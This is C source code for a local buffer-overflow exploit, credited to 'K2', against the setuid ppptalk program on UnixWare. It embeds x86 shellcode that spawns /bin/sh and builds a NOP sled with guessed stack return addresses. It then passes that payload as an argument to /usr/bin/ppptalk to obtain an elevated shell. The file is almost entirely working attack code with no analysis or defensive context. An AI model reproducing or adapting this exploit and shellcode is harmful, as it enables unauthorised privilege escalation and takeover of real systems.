/* 
   /usr/bin/ppptalk UnixWare exploit
   by: K2
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


char shell[] =
 "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
 "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
 "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"  
 "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
 "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
 "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; 

const int buffersize=364;

const char x86_nop=0x90;
long nop,esp;
long offset=0;
char buffer[2000];

long get_esp() { __asm__("movl %esp,%eax"); }

int main (int argc, char *argv[]) {
    int i;
    if (argc > 1) offset = strtol(argv[1], NULL, 0);
    if (argc > 2) nop = strtoul(argv[2], NULL, 0);
    else
        nop = 101;

    esp = get_esp();

    memset(buffer, x86_nop, buffersize);
    memcpy(buffer+nop, shell, strlen(shell));
    for (i = nop+strlen(shell); i < buffersize-4; i += 4)
        *((int *) &buffer[i]) = esp+offset;

    execl("/usr/bin/ppptalk", "ppptalk","prompt", buffer, NULL);

    printf("exec failed!\n");
    return 0;
}